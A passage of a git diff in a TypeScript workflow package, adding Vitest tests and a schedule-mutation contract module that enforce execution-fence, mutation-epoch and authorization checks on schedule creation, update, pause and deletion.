ownersBefore = f.owners(); + const lost = new Error('refused initial batch response lost'); + const batch = f.database.batch.bind(f.database); + const write = vi + .spyOn(f.database, 'batch') + .mockImplementationOnce(async (statements) => { + f.sql.exec( + 'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT', + ); + await batch(statements); + expect(f.snapshots()).toEqual([]); + throw lost; + }); + await expect( + f.runtime.start(f.workflow.id, f.startOptions), + ).rejects.toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + cause: lost, + }); + expect(write).toHaveBeenCalledTimes(2); + expect(f.snapshots()).toEqual([]); + expect(f.effects).not.toHaveBeenCalled(); + expect(f.owners()).toEqual(ownersBefore); + expect(await f.reservations.readForAdmission(f.claim.key)).toEqual( + before, + ); + expect(f.proofRows()).toEqual([ + expect.objectContaining({ + proof_run_id: null, + proof_start_token: null, + }), + ]); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + } finally { + f.close(); + } + }); +}); + describe('FS8 D3 Runtime activation', () => { it('R01 independently mints S when H repeats and retains immutable owner and epoch on resume', async () => { const f = await d3RuntimeFixture('fenced', () => ({ diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index c72617b3..c3b3fc1f 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -446,10 +446,11 @@ function stubTopology(): ReturnType { return createThreadTopology(stubThreadNamespace(), TEST_IDENTITY_SECRET); } -/** The real D1 schedules domain over node:sqlite, with its schema created. */ -async function schedulesDomain(): Promise { +async function schedulesDomain( + database?: ExecutionFenceDatabase, +): Promise { const store = new D1SchedulesStorage( - sqliteUnitDatabase(openSqlite()) as ScheduleDatabase, + (database ?? sqliteUnitDatabase(openSqlite())) as ScheduleDatabase, ); await store.init(); return store; @@ -1049,10 +1050,10 @@ const ENTRIES: readonly Entry[] = [ name: 'schedule router create', module: 'schedules/router.ts — authoring a standing fire', predicate: 'admitsWorkAuthoring', - prepare: async (fence) => { + prepare: async (fence, database) => { const router = createScheduleRouter({ resolve: async () => actorContext(), - store: await schedulesDomain(), + store: await schedulesDomain(database), targetPolicy: TARGET_POLICY, validateThreadTarget: async () => undefined, executionFence: fence, @@ -1407,6 +1408,16 @@ const GATE_SITES: ReadonlyArray = [ predicate: 'admitsWorkAuthoring', drivenBy: 'schedule router create', }, + { + file: 'schedules/schedules-d1.ts', + predicate: 'admitsWorkAuthoring', + drivenBy: './schedules/schedules-d1.test.ts', + }, + { + file: 'schedules/schedules-d1.ts', + predicate: 'admitsWorkAuthoring', + drivenBy: './schedules/schedules-d1.test.ts', + }, { file: 'schedules/tick.ts', predicate: 'admitsWorkAuthoring', @@ -1549,7 +1560,6 @@ function predicateCallSites({ file, source }: SourceFile): GateSite[] { return found; } -/** Presence/deletion census of the actual inline initial INSERT guard. */ function sqlAdmissionSites({ file, source }: SourceFile): GateSite[] { const parsed = ts.createSourceFile( file, @@ -1558,6 +1568,21 @@ function sqlAdmissionSites({ file, source }: SourceFile): GateSite[] { true, ); const found: GateSite[] = []; + const admissionBindings = new Set(); + const collectBindings = (node: ts.Node): void => { + if ( + ts.isVariableDeclaration(node) && + ts.isIdentifier(node.name) && + node.initializer && + ts.isCallExpression(node.initializer) && + ts.isIdentifier(node.initializer.expression) && + node.initializer.expression.text === 'executionFenceAdmissionSql' + ) { + admissionBindings.add(node.name.text); + } + ts.forEachChild(node, collectBindings); + }; + collectBindings(parsed); const visit = (node: ts.Node): void => { if ( ts.isCallExpression(node) && @@ -1572,11 +1597,13 @@ function sqlAdmissionSites({ file, source }: SourceFile): GateSite[] { ts.isTemplateExpression(argument)) ) { const sql = argument.getText(parsed).slice(1, -1); + const sharedGuard = /\bWHERE\s+\$\{\s*([\w$]+)\s*\}/i.exec(sql)?.[1]; if ( /^\s*INSERT\s+INTO\b/i.test(sql) && - /\bWHERE\s+EXISTS\s*\(\s*SELECT\s+1\s+FROM\s+(?:flowsafe_execution_fence|\$\{EXECUTION_FENCE_TABLE\})\s+AS\s+f\b/i.test( + (/\bWHERE\s+EXISTS\s*\(\s*SELECT\s+1\s+FROM\s+(?:flowsafe_execution_fence|\$\{EXECUTION_FENCE_TABLE\})\s+AS\s+f\b/i.test( sql, - ) + ) || + (sharedGuard !== undefined && admissionBindings.has(sharedGuard))) ) { found.push({ file, @@ -2024,6 +2051,49 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ effectBoundary: 'The poll admission check refuses before any provider is polled or notification is delivered.', }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: + 'const values = FENCE_ADMISSION_FIELDS.map((key) => observation.raw[key]);', + effectBoundary: + 'Semantic field types are checked before initial admission and schedule binding; schedule transaction diagnosis preserves unknown outcomes after a positive mutation witness.', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'schema = await captureExecutionFenceAdmissionSchema(', + effectBoundary: + 'Unreadable current schema refuses initial admission before its snapshot and dependent reservation or proof writes.', + }, + { + file: 'schedules/schedules-d1.ts', + error: 'ExecutionFencedError', + anchor: '!admitsWorkAuthoring(observation.reading)', + effectBoundary: + 'Closed authoring state refuses schedule preparation before the mutation batch; the final SQL predicate independently checks the captured frame.', + }, + { + file: 'schedules/schedules-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'results: captured.rows,', + effectBoundary: + 'Unreadable schema evidence refuses preparation before authoring SQL; the captured valid schema is compared again by the mutation predicate.', + }, + { + file: 'schedules/schedules-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'results: schemaResult.rows,', + effectBoundary: + 'Invalid transactional authority is a refusal with zero write evidence; a positive mutation witness instead reports an unknown outcome without compensation.', + }, + { + file: 'schedules/schedules-d1.ts', + error: 'ExecutionFencedError', + anchor: '!admitsWorkAuthoring(current.reading)', + effectBoundary: + 'The transaction observation diagnoses final state refusal when the guarded writes have no witness; contradictory positive writes become an unknown outcome.', + }, ]; function fenceErrorAuthorSites(): Array<{ @@ -2194,6 +2264,7 @@ describe('execution-entry matrix', () => { const insert = `INSERT INTO \${snapshotTable}`; const guard = `WHERE EXISTS (SELECT 1 FROM ${fenceTable} AS f WHERE f.state = 'open')`; const guardedPrepare = `database.prepare(\`${insert} SELECT 1 ${guard} \${optionalParticipantClauses}\`)`; + const sharedPrepare = `const finalFence = executionFenceAdmissionSql(input); database.prepare(\`${insert} SELECT 1 WHERE \${finalFence} \${optionalParticipantClauses}\`)`; const sqlSite: GateSite = { file: 'do-runner/fenced-workflows-d1.ts', predicate: 'admitsRunStart', @@ -2202,6 +2273,7 @@ describe('execution-entry matrix', () => { it.each([ ['template with participant interpolation', guardedPrepare], + ['shared admission predicate', sharedPrepare], [ 'whitespace and a literal table name', 'database.prepare(`\n INSERT\n INTO snapshot SELECT 1\n' + @@ -2242,6 +2314,14 @@ describe('execution-entry matrix', () => { ), ], ['unguarded INSERT', guardedPrepare.replace(guard, 'WHERE 1 = 1')], + [ + 'unused shared predicate', + sharedPrepare.replace(`WHERE \${finalFence}`, 'WHERE 1 = 1'), + ], + [ + 'unrecognized predicate binding', + sharedPrepare.replace('executionFenceAdmissionSql', 'otherSql'), + ], ])('does not invent a SQL gate from %s', (_name, source) => { expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([]); }); diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 2c179b54..278d2a16 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -17,10 +17,17 @@ import { EXECUTION_PRINCIPAL_HEADER, executionFenceFor, InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, type RunDeadlineCursor, type RunSummary, startIdempotencyFor, } from '../do-runner/index.js'; +import { + createScheduleRouter, + createScheduleTargetPolicy, + D1SchedulesStorage, + type ScheduleDatabase, +} from '../schedules/index.js'; import type { ResumeRunFn } from './approval-bridge.js'; import { createFlowsafeWorker, @@ -1092,6 +1099,91 @@ describe('createFlowsafeWorker fetch pipeline', () => { // #then — no schedule handling, as before the seam existed expect(unmounted.status).toBe(404); }); + + it('carries the configured epoch through authentication into the schedule store', async () => { + const h = makeEnv(); + const store = new D1SchedulesStorage(h.env.DB as ScheduleDatabase); + const fence = executionFenceFor(h.env.DB); + await fence.seed('open'); + const initial = await fence.read(); + const draining = await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: initial.mutationEpoch, + expectedRevision: initial.transitionRevision, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + const entered = cWorkerDeferred(); + const hold = cWorkerDeferred(); + let epoch = 1; + const verify = vi.fn(async () => { + entered.release(); + await hold.promise; + return { id: 'ada', role: 'admin' as const }; + }); + const worker = makeWorker({ + mutationEpoch: () => epoch, + buildVerifier: () => ({ verify }), + buildScheduleRouter: (resolve) => + createScheduleRouter({ + resolve, + store, + executionFence: fence, + targetPolicy: createScheduleTargetPolicy({ + workflows: WORKFLOWS, + agents: [], + }), + validateThreadTarget: async () => undefined, + }), + }); + const request = () => + authed('http://host/api/schedules', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ workflowId: 'wf', cron: '*/5 * * * *' }), + }); + const pending = worker.fetch(request(), h.env, h.ctx); + try { + expect( + await Promise.race([ + entered.promise.then(() => true), + pending.then(() => false), + ]), + ).toBe(true); + epoch = 2; + hold.release(); + const response = await pending; + expect(response.status).toBe(201); + const created = (await response.json()) as { schedule: { id: string } }; + expect((await store.listSchedules()).map((row) => row.id)).toEqual([ + created.schedule.id, + ]); + } finally { + hold.release(); + await pending; + } + const future = await worker.fetch(request(), h.env, h.ctx); + expect(future.status).toBe(409); + expect(await future.json()).toMatchObject({ + reason: { + code: 'MUTATION_EPOCH_MISMATCH', + classification: 'future', + mutationEpoch: 1, + }, + }); + const forged = request(); + forged.headers.set(MUTATION_EPOCH_HEADER, '1'); + const rejected = await worker.fetch(forged, h.env, h.ctx); + expect(rejected.status).toBe(403); + expect(verify).toHaveBeenCalledTimes(2); + expect(await store.listSchedules()).toHaveLength(1); + }); }); describe('createFlowsafeWorker maintenance duties', () => { diff --git a/packages/flowsafe/src/schedules/index.ts b/packages/flowsafe/src/schedules/index.ts index 9b3cc828..10a6c734 100644 --- a/packages/flowsafe/src/schedules/index.ts +++ b/packages/flowsafe/src/schedules/index.ts @@ -1,10 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 -// Track D (M-006) — schedules: the D1 domain, the CAS tick, and the authenticated -// facade. Subpath-only (`@proofoftech/flowsafe/schedules`), like agent-runner / -// background-tasks / signals / goals: host-side wiring a consumer opts into, not -// in the root barrel. +export { + FENCED_SCHEDULE_STORAGE, + type FencedScheduleMutationCapability, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, + type ScheduleResumeMutation, +} from './mutation-contract.js'; -// The facade router (CI-M-006-003). export { createScheduleRouter, type ScheduleFacadeStore, @@ -14,7 +16,6 @@ export { type ScheduleRouter, type ScheduleRouterOptions, } from './router.js'; -// The D1 schedules storage domain (CI-M-006-001). export { D1SchedulesStorage, parseScheduleAgentDispatchReceipt, @@ -38,7 +39,6 @@ export { scheduleCreatorRole, scheduleWithCreatorRole, } from './target-policy.js'; -// The CAS tick (CI-M-006-002). export { type AgentScheduleTarget, buildScheduledLegContext, diff --git a/packages/flowsafe/src/schedules/mutation-contract.ts b/packages/flowsafe/src/schedules/mutation-contract.ts new file mode 100644 index 00000000..733e053f --- /dev/null +++ b/packages/flowsafe/src/schedules/mutation-contract.ts @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { Schedule, ScheduleUpdate } from '@mastra/core/storage'; +import type { ResourceOwner } from '../approval-api/resource-ownership.js'; +import { DoStatusError } from '../do-runner/do-status-error.js'; +import type { MutationEpochContext } from '../do-runner/execution-admission.js'; +import type { SignalDatabase } from '../signals/d1-shared.js'; +import type { AuthorizedSchedule } from './target-policy.js'; + +export const FENCED_SCHEDULE_STORAGE: unique symbol = Symbol( + 'flowsafe.fencedScheduleStorage', +); + +export interface ScheduleResumeMutation { + readonly expectedCron: Schedule['cron']; + readonly expectedTimezone: Schedule['timezone']; + readonly nextFireAt: Schedule['nextFireAt']; +} + +/** Epoch activation can race a waiting request, so this contract applies before activation. */ +export interface FencedScheduleMutationCapability { + readonly database: SignalDatabase & Required>; + createOwnedSchedule( + schedule: AuthorizedSchedule, + owner: ResourceOwner, + maxSchedules: number, + context: MutationEpochContext, + ): Promise; + updateSchedule( + id: string, + patch: ScheduleUpdate, + context: MutationEpochContext, + ): Promise; + pauseSchedule(id: string, context: MutationEpochContext): Promise; + resumeSchedule( + id: string, + mutation: ScheduleResumeMutation, + context: MutationEpochContext, + ): Promise; + deleteOwnedSchedule( + id: string, + context: MutationEpochContext, + ): Promise<'deleted' | 'pending'>; + observeScheduleMutation( + id: string, + operation: 'pause' | 'resume', + context: MutationEpochContext, + ): Promise; +} + +export class ScheduleMutationConflictError extends DoStatusError { + readonly status = 409; + readonly reason: { + readonly code: 'SCHEDULE_MUTATION_CONFLICT'; + readonly classification: 'fence-changed' | 'schedule-changed'; + }; + + constructor(classification: 'fence-changed' | 'schedule-changed') { + super('schedule mutation conflicted with a concurrent change'); + this.name = 'ScheduleMutationConflictError'; + this.reason = { code: 'SCHEDULE_MUTATION_CONFLICT', classification }; + } +} + +export class ScheduleMutationOutcomeUnknownError extends DoStatusError { + readonly status = 503; + readonly reason = { code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN' } as const; + + constructor(options?: ErrorOptions) { + super('schedule mutation outcome is unknown', options); + this.name = 'ScheduleMutationOutcomeUnknownError'; + } +} diff --git a/packages/flowsafe/src/schedules/router.test.ts b/packages/flowsafe/src/schedules/router.test.ts index c51f6b3f..2406ebce 100644 --- a/packages/flowsafe/src/schedules/router.test.ts +++ b/packages/flowsafe/src/schedules/router.test.ts @@ -8,7 +8,7 @@ import type { ScheduleTrigger, ScheduleUpdate, } from '@mastra/core/storage'; -import { describe, expect, it, vi } from 'vitest'; +import { afterEach, describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; @@ -17,21 +17,40 @@ import { ActorResolutionError, type ActorResolver, type ApprovalRole, + createActorResolver, + D1ApprovalStoreFactory, type ResourceOwner, } from '../approval-api/index.js'; import { type ExecutionFenceDatabase, + ExecutionFencedError, ExecutionFenceStore, + ExecutionFenceUnreadableError, + InvalidMutationEpochError, + MutationEpochMismatchError, } from '../do-runner/index.js'; import { RunRouteError } from '../host-kit/index.js'; +import { + FENCED_SCHEDULE_STORAGE, + type FencedScheduleMutationCapability, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, +} from './mutation-contract.js'; import { createScheduleRouter as createScheduleRouterImpl, type ScheduleFacadeStore, type ScheduleRouteAuditEvent, + type ScheduleRouter, type ScheduleRouterOptions, } from './router.js'; +import { D1SchedulesStorage, type ScheduleDatabase } from './schedules-d1.js'; import type { ScheduleTargetPolicy } from './target-policy.js'; -import { createScheduleTargetPolicy } from './target-policy.js'; +import { + createScheduleTargetPolicy, + scheduleWithCreatorRole, +} from './target-policy.js'; + +afterEach(() => vi.restoreAllMocks()); const TARGET_POLICY = createScheduleTargetPolicy({ workflows: [{ id: 'wf' }], @@ -167,6 +186,27 @@ interface Harness { ) => Promise<{ status: number; body: Record }>; } +function routerCaller(router: ScheduleRouter): Harness['call'] { + return async (method, path, body) => { + const res = await router( + new Request(`http://host${path}`, { + method, + ...(body !== undefined + ? { + headers: { 'content-type': 'application/json' }, + body: JSON.stringify(body), + } + : {}), + }), + ); + if (!res) throw new Error(`router returned null for ${method} ${path}`); + return { + status: res.status, + body: (await res.json()) as Record, + }; + }; +} + function harness( context: ActorContext | undefined, overrides: { @@ -177,7 +217,6 @@ function harness( targetPolicy?: ScheduleTargetPolicy; audit?: ScheduleRouterOptions['audit']; validateThreadTarget?: ScheduleRouterOptions['validateThreadTarget']; - executionFence?: ScheduleRouterOptions['executionFence']; } = {}, ): Harness { const store = new MemStore(); @@ -205,26 +244,9 @@ function harness( ...(overrides.validateThreadTarget !== undefined ? { validateThreadTarget: overrides.validateThreadTarget } : {}), - // 'none' is the honest wiring for MemStore — no database, nothing to fence. - // The fence cases below pass a real store. - executionFence: overrides.executionFence ?? 'none', + executionFence: 'none', }); - const call = async (method: string, path: string, body?: unknown) => { - const res = await router( - new Request(`http://host${path}`, { - method, - ...(body !== undefined - ? { - headers: { 'content-type': 'application/json' }, - body: JSON.stringify(body), - } - : {}), - }), - ); - if (!res) throw new Error(`router returned null for ${method} ${path}`); - const parsed = (await res.json()) as Record; - return { status: res.status, body: parsed }; - }; + const call = routerCaller(router); return { store, events, call }; } @@ -332,6 +354,7 @@ describe('createScheduleRouter — create', () => { expect(store.owners.has(schedule.id)).toBe(true); expect(logged).toHaveBeenCalledWith( expect.stringContaining('schedule.route-audit-error'), + expect.objectContaining({ message: 'audit unavailable' }), ); logged.mockRestore(); }); @@ -1022,65 +1045,19 @@ describe('createScheduleRouter and the deployment execution fence', () => { expect(build).toBeTypeOf('function'); }); - async function drainingFence(): Promise { - const fence = new ExecutionFenceStore( - sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase, - ); - await fence.seed('draining'); - return fence; - } - - function unreadableFence(): ExecutionFenceStore { - // Storage that faults on every query — NOT the "no such table" a pre-0.20 - // database answers with, which legitimately reads as open. - return new ExecutionFenceStore({ - prepare: () => ({ - bind: () => ({ - bind: () => { - throw new Error('unreachable'); - }, - run: () => Promise.reject(new Error('D1_ERROR: network')), - all: () => Promise.reject(new Error('D1_ERROR: network')), - }), - run: () => Promise.reject(new Error('D1_ERROR: network')), - all: () => Promise.reject(new Error('D1_ERROR: network')), - }), - } as unknown as ExecutionFenceDatabase); - } - it('degrades a mutation closed with 503 when the fence cannot be read', async () => { - // #given - const { store, call } = harness(ctx('acme', 'operator'), { - executionFence: unreadableFence(), - }); - - // #then — never the generic 500: an operator must be able to tell a - // deployment being migrated from a broken one, and the write did not land. - const res = await call('POST', '/api/schedules', WORKFLOW_CREATE); + const h = await fencedHarness(); + h.sqlite.exec('DELETE FROM flowsafe_execution_fence'); + const res = await h.call('POST', '/api/schedules', WORKFLOW_CREATE); expect(res.status).toBe(503); expect(res.body.reason).toEqual({ code: 'EXECUTION_FENCE_UNREADABLE' }); - expect(store.m.size).toBe(0); + await expect(h.store.listSchedules()).resolves.toEqual([]); }); it('refuses create, update, and resume once the deployment is draining', async () => { - // #given - const executionFence = await drainingFence(); - const { store, events, call } = harness(ctx('acme', 'operator'), { - executionFence, - }); - store.m.set('s1', { - id: 's1', - target: { type: 'workflow', workflowId: 'wf', inputData: {} }, - cron: '*/5 * * * *', - status: 'paused', - nextFireAt: 0, - createdAt: 0, - updatedAt: 0, - metadata: {}, - } as Schedule); - - // #when / #then — every operation that ARMS a future fire is refused with - // the taxonomy's retryable status and code. + const { store, events, call, fence } = await fencedHarness(); + await store.createSchedule(scheduleRow('paused')); + await fence.transition({ expected: 'open', next: 'draining' }); for (const [method, path, body] of [ ['POST', '/api/schedules', WORKFLOW_CREATE], ['PATCH', '/api/schedules/s1', { cron: '*/10 * * * *' }], @@ -1093,35 +1070,1055 @@ describe('createScheduleRouter and the deployment execution fence', () => { state: 'draining', }); } - expect(store.m.size).toBe(1); + await expect(store.listSchedules()).resolves.toHaveLength(1); expect( events.filter((event) => event.reason === 'execution-fenced'), ).toHaveLength(3); }); it('keeps pause, delete, and every read available while draining', async () => { - // #given — pause and delete TAKE WORK AWAY, which is the direction a drain - // is going, and a read moves nothing. - const executionFence = await drainingFence(); - const { store, call } = harness(ctx('acme', 'operator'), { - executionFence, - }); - store.m.set('s1', { - id: 's1', - target: { type: 'workflow', workflowId: 'wf', inputData: {} }, - cron: '*/5 * * * *', - status: 'active', - nextFireAt: 0, - createdAt: 0, - updatedAt: 0, - metadata: {}, - } as Schedule); - - // #then + const { store, call, fence } = await fencedHarness(); + await store.createSchedule(scheduleRow()); + await fence.transition({ expected: 'open', next: 'draining' }); expect((await call('GET', '/api/schedules')).status).toBe(200); expect((await call('GET', '/api/schedules/s1')).status).toBe(200); expect((await call('POST', '/api/schedules/s1/pause')).status).toBe(200); expect((await call('DELETE', '/api/schedules/s1')).status).toBe(200); + await expect(store.listSchedules()).resolves.toEqual([]); + }); +}); + +function scheduleRow(status: Schedule['status'] = 'active'): Schedule { + return { + id: 's1', + target: { type: 'workflow', workflowId: 'wf', inputData: {} }, + cron: '*/5 * * * *', + status, + nextFireAt: 300_000, + createdAt: 10, + updatedAt: 20, + metadata: {}, + }; +} + +async function fencedHarness(context: ActorContext = ctx('acme', 'operator')) { + const sqlite = openSqlite(); + const database = sqliteUnitDatabase(sqlite) as ScheduleDatabase; + const fence = new ExecutionFenceStore(database as ExecutionFenceDatabase); + await fence.seed('open'); + const store = new D1SchedulesStorage(database); + await store.init(); + const events: ScheduleRouteAuditEvent[] = []; + const options = { + store, + executionFence: fence, + resolve: resolveAs(context), + audit: (event: ScheduleRouteAuditEvent) => { + events.push(event); + }, + }; + return { + sqlite, + database, + store, + fence, + events, + options, + call: routerCaller(createScheduleRouter(options)), + }; +} + +function deferred() { + let resolve!: () => void; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +async function activateAndReopen(fence: ExecutionFenceStore) { + await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'migration-locked', + expectedMutationEpoch: 1, + expectedRevision: 1, + }); + await fence.transition({ + expected: 'migration-locked', + next: 'open', + expectedMutationEpoch: 1, + expectedRevision: 2, + }); +} + +function customFacade() { + const store = new MemStore(); + const database = sqliteUnitDatabase( + openSqlite(), + ) as FencedScheduleMutationCapability['database']; + const capability: FencedScheduleMutationCapability = { + database, + createOwnedSchedule: vi.fn(function ( + this: FencedScheduleMutationCapability, + schedule, + owner, + cap, + _context, + ) { + expect(this).toBe(capability); + return MemStore.prototype.createOwnedSchedule.call( + store, + schedule, + owner, + cap, + ); + }), + updateSchedule: vi.fn(function ( + this: FencedScheduleMutationCapability, + id, + patch, + _context, + ) { + expect(this).toBe(capability); + return MemStore.prototype.updateSchedule.call(store, id, patch); + }), + pauseSchedule: vi.fn(function ( + this: FencedScheduleMutationCapability, + id, + _context, + ) { + expect(this).toBe(capability); + return MemStore.prototype.updateSchedule.call(store, id, { + status: 'paused', + }); + }), + resumeSchedule: vi.fn(function ( + this: FencedScheduleMutationCapability, + id, + resume, + _context, + ) { + expect(this).toBe(capability); + return MemStore.prototype.updateSchedule.call(store, id, { + status: 'active', + nextFireAt: resume.nextFireAt, + }); + }), + deleteOwnedSchedule: vi.fn(function ( + this: FencedScheduleMutationCapability, + id, + _context, + ) { + expect(this).toBe(capability); + return MemStore.prototype.deleteOwnedSchedule.call(store, id); + }), + observeScheduleMutation: vi.fn(function ( + this: FencedScheduleMutationCapability, + id, + _operation, + _context, + ) { + expect(this).toBe(capability); + return store.getSchedule(id); + }), + }; + Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, { + configurable: true, + value: capability, + }); + const options = { + store, + executionFence: 'none' as const, + resolve: resolveAs({ ...ctx('acme', 'operator'), mutationEpoch: 7 }), + }; + return { store, capability, database, options }; +} + +describe('schedule mutation capability construction', () => { + it('requires a capability before an epoch-optional fenced router authenticates', async () => { + const h = await fencedHarness(); + const resolve = vi.fn(resolveAs(ctx('acme', 'operator'))); + expect(() => + createScheduleRouter({ + ...h.options, + store: new MemStore(), + resolve, + }), + ).toThrow('fenced schedule storage capability is unavailable'); + expect(resolve).not.toHaveBeenCalled(); + }); + + it.each([ + 'none', + 'fenced', + ] as const)('rejects malformed advertised capabilities with %s wiring', async (wiring) => { + const h = await fencedHarness(); + const { capability } = customFacade(); + const malformed: unknown[] = [ + null, + [], + 1, + {}, + { ...capability, database: null }, + { ...capability, database: Object.assign([], capability.database) }, + ]; + for (const method of [ + 'createOwnedSchedule', + 'updateSchedule', + 'pauseSchedule', + 'resumeSchedule', + 'deleteOwnedSchedule', + 'observeScheduleMutation', + ]) + malformed.push({ ...capability, [method]: undefined }); + for (const method of ['prepare', 'batch']) { + malformed.push({ + ...capability, + database: { ...h.database, [method]: undefined }, + }); + } + for (const value of malformed) { + const store = Object.assign(new MemStore(), { + [FENCED_SCHEDULE_STORAGE]: value, + }); + expect(() => + createScheduleRouter({ + ...h.options, + store: store as ScheduleFacadeStore, + executionFence: wiring === 'none' ? 'none' : h.fence, + }), + ).toThrow('schedule mutation capability is malformed'); + } + }); + + it('rejects a concrete store over a different binding before activation', async () => { + const h = await fencedHarness(); + const other = await fencedHarness(); + expect(() => + createScheduleRouter({ + ...h.options, + store: other.store, + }), + ).toThrow('schedule storage binding disagrees with execution fence'); + }); + + it('captures the capability and receiver before mutable properties change', async () => { + const { store, capability, options } = customFacade(); + const selected = capability.createOwnedSchedule; + const readMethod = vi.fn(() => selected); + Object.defineProperty(capability, 'createOwnedSchedule', { + configurable: true, + get: readMethod, + }); + const readCapability = vi.fn(() => capability); + Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, { + configurable: true, + get: readCapability, + }); + const waiting = deferred(); + const entered = deferred(); + const context = ctx('acme', 'operator'); + context.resourceOwnerFor = async () => { + entered.resolve(); + await waiting.promise; + return context.resourceOwner; + }; + const call = routerCaller( + createScheduleRouter({ + ...options, + resolve: resolveAs(context), + }), + ); + store.createOwnedSchedule = vi.fn(async () => { + throw new Error('legacy write'); + }); + const pending = call('POST', '/api/schedules', { + agentId: 'a1', + prompt: 'go', + cron: '*/5 * * * *', + threadId: 'acme_thread', + resourceId: 'acme_resource', + }); + await entered.promise; + Object.defineProperty(store, FENCED_SCHEDULE_STORAGE, { value: undefined }); + Object.defineProperty(capability, 'createOwnedSchedule', { + value: async () => { + throw new Error('replacement write'); + }, + }); + waiting.resolve(); + expect((await pending).status).toBe(201); + expect(readCapability).toHaveBeenCalledTimes(1); + expect(readMethod).toHaveBeenCalledTimes(1); + expect(selected).toHaveBeenCalledTimes(1); + expect(store.createOwnedSchedule).not.toHaveBeenCalled(); + }); +}); + +describe('captured schedule request authority', () => { + it('retains actor, owner, epoch, and service receiver through a body wait', async () => { + const { store, capability, options } = customFacade(); + const context = { + ...ctx('acme', 'operator'), + actor: { id: 'operator-acme', role: 'operator' as ApprovalRole }, + deploymentTag: 'original', + mutationEpoch: 7, + }; + const epoch = vi.fn(() => 7); + Object.defineProperty(context, 'mutationEpoch', { + configurable: true, + get: epoch, + }); + const audit = vi.fn(); + const entered = deferred(); + const release = deferred(); + const request = new Request('http://host/api/schedules', { + method: 'POST', + body: JSON.stringify(WORKFLOW_CREATE), + }); + const body = request.body; + if (!body) throw new Error('missing test body'); + const getReader = body.getReader.bind(body); + Object.defineProperty(body, 'getReader', { + value: () => { + const reader = getReader(); + const read = reader.read.bind(reader); + reader.read = async () => { + entered.resolve(); + await release.promise; + return read(); + }; + return reader; + }, + }); + const router = createScheduleRouter({ + ...options, + resolve: resolveAs(context), + audit, + }); + const response = router(request); + await entered.promise; + context.actor.id = 'changed'; + context.actor.role = 'viewer'; + context.resourceOwner = { kind: 'human', id: 'changed' }; + context.deploymentTag = 'changed'; + Object.defineProperty(context, 'mutationEpoch', { value: 99 }); + release.resolve(); + expect((await response)?.status).toBe(201); + expect(epoch).toHaveBeenCalledTimes(1); + expect(capability.createOwnedSchedule).toHaveBeenCalledWith( + expect.any(Object), + { kind: 'human', id: 'operator-acme' }, + 100, + { mutationEpoch: 7 }, + ); + expect([...store.owners.values()]).toEqual([ + { kind: 'human', id: 'operator-acme' }, + ]); + expect(audit).toHaveBeenCalledWith( + expect.objectContaining({ + actorId: 'operator-acme', + deploymentTag: 'original', + outcome: 'accepted', + }), + ); + const passed = vi.mocked(capability.createOwnedSchedule).mock.calls[0]?.[3]; + expect(Object.isFrozen(passed)).toBe(true); + }); + + it('retains bound ownership methods and the original role during an access wait', async () => { + const { store, capability, options } = customFacade(); + store.m.set('s1', scheduleRow()); + const context = { + ...ctx('acme', 'operator'), + mutationEpoch: 7, + actor: { id: 'operator-acme', role: 'operator' as ApprovalRole }, + }; + const entered = deferred(); + const release = deferred(); + context.canAccessResource = async function () { + expect(this).toBe(context); + entered.resolve(); + await release.promise; + return true; + }; + const call = routerCaller( + createScheduleRouter({ ...options, resolve: resolveAs(context) }), + ); + const pending = call('POST', '/api/schedules/s1/pause'); + await entered.promise; + context.actor.role = 'viewer'; + context.mutationEpoch = 99; + context.canAccessResource = async () => false; + release.resolve(); + expect((await pending).status).toBe(200); + expect(capability.pauseSchedule).toHaveBeenCalledWith('s1', { + mutationEpoch: 7, + }); + }); + + it.each([ + NaN, + -1, + 1.5, + null, + '7', + ])('rejects malformed resolved epoch %s before storage or audit', async (mutationEpoch) => { + const { capability, options } = customFacade(); + const audit = vi.fn(); + const call = routerCaller( + createScheduleRouter({ + ...options, + audit, + resolve: resolveAs({ + ...ctx('acme', 'operator'), + mutationEpoch, + } as ActorContext), + }), + ); + const result = await call('POST', '/api/schedules', WORKFLOW_CREATE); + expect(result.status).toBe(400); + expect(result.body.reason).toEqual({ code: 'INVALID_MUTATION_EPOCH' }); + expect(capability.createOwnedSchedule).not.toHaveBeenCalled(); + 